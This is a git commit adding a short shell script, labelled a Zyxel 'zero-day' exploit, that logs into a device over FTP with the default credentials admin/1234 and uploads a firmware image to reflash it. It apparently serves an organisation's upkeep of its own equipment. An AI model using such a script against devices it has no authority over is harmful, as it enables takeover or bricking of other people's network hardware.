feat(scripts): Add zyxel exploit script

scripts/ftp_zeroday.sh

@@ -0,0 +1,35 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -p inetutils -i bash
+# SPDX-FileCopyrightText: 2024 Maurice Debray <maurice.debray@dgnum.eu>
+#
+# SPDX-License-Identifier: EUPL-1.2
+#
+# Tribute to RaitoBezarius for finding the exploit
+
+set -euxo pipefail
+
+usage() {
+  echo "./ftp_zeroday.sh [FIT-IMAGE] [IP]"
+}
+if [ "$#" -ne 2 ]; then
+  usage
+  exit 1
+fi
+if ! [ -e "$1" ]; then
+  echo "$1 not found" >&2
+  exit 2
+fi
+
+IMAGE="$1"
+IP="$2"
+
+echo "Trying to flash $IMAGE to $IP..."
+
+# TODO: make it exit cleanly
+ftp -niv <<EOF
+open $IP
+user admin 1234
+binary
+put $IMAGE
+EOF
+